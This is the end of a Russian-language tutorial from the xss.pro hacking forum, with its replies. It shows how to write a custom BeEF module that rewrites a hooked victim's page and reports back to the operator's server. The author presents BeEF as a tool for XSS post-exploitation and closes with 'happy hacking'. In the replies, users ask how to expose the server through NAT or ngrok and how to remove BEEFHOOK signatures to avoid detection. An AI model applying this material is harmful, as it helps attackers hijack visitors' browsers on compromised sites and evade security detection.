beef.execute(function() {
    document.write("<h1><%= @text %><h1>");
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success());
});

Код пишем в функции beef.execute, куда в качестве аргумента передаем анонимную функцию, внутри которой и описываем весь функционал
Функционал тут по сути простой – просто выводим на страницу текст при помощи document.write, а потом отправляем beef’y обратно информацию об успешном выполнении при помощи beef.net.send()

После этого перезапускаем BeeF.

На этом написание модуля закончено. Если мы сейчас, после перезапуска, перейдем в список команд в веб-интерфейсе, то найдем наш модуль:
1638792752312.png

К слову, параметры из конфиг файла (например тут – описание) не экранируют вывод. Так что можно спокойно выводить на страницу теги. Что делать с этой информацией решайте сами :)
Ну и модуль наш вполне работает. После отправки выполенния модуля страница жертвы перерисовывается:
1638792772258.png

А в панель приходит лог:
1638792785315.png

Вот так вот. Понятно что для нормального написания модулей придется покопаться в документации, разобраться с уже готовыми классами и методами, которые предоставляет beef, причем как в ядре на руби, так и JS классами для модулей.
Благо, у beefa достаточно неплохое вики, так что там можно найти почти всю нужную информацию. Да и во многом тут все интуитивно понятно, а примеров модулей тоже полно, выбирайте любой и изучайте, если угодно :)

*Раздел вики с инфой о создании модулей:
https://github.com/beefproject/beef/wiki/Module-Creation-Steps

Заключение

После всего того что мы тут рассмотрели хочется сказать следующее – инструмент, по моему мнению, очень годный и здорово может помочь в работе.

Большое количество поставляемых из коробки модулей, удобство и даже в каком-то смысле простота использования только укрепляют это мнение.
Что касаемо функционала “для продвинутых”, здесь по моему мнению тоже все неплохо. Не без проблем конечно (если покопаться поглубже в том же API можно наткнуться на некоторые моменты, которые могут удивить), но с другой стороны, куда же без них.
Если кто из вас знаком с metasploit, вы могли заметить некоторые с сходство этих инструментов – помимо того, что они написаны на одном ЯП, есть достаточно много схожих моментов в том же API, да и сам beef умеет работать с модулями метасплоита.
Так что, если хотите иметь в арсенале хороший и надежный инструмент для постэкспулатации xss – одназначно рекомендую ознакомиться.

Ну а я на этом заканчиваю свой манускрипт, и ухожу дальше клепать материал :)

Удачных взломов !

©Urob0ros специально для форума xss.pro
 
Если я нахожусь за НАТом,то коннекта не будет правильно?
Надо пробрасывать порты?
И если я вставляю скрипт бифа на какую-то страницу,то он будет работать только на ней?
 
Сенкс за статью, правда начал за биф, продолжил за голанг. На питоне распарсить json 1 строка, для новичков в типизацию это конечно слишком.
Биф вообще древняя тулза, все темлпейты у него старющие. Может есть какой приват о котором я не знаю?
И если им пользоваться то что стоит подчистить чтобы детекты снять что это именно биф? Например .js?BEEFHOOK= нашел в extensions/evasion/obfuscation/ , как этими экстеншенами управлять?
Ну и есть ли альтернативы написанные не на гейском руби?)) да простят меня адепты
 
Если я нахожусь за НАТом,то коннекта не будет правильно?
Надо пробрасывать порты?
И если я вставляю скрипт бифа на какую-то страницу,то он будет работать только на ней?
1. Пробрасывать нужно, или пробовать юзать ngork и аналогичные сервисы.
2. Куда вставил js beef-а, с клиентов того сайта тебе и будут лететь коннекты...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх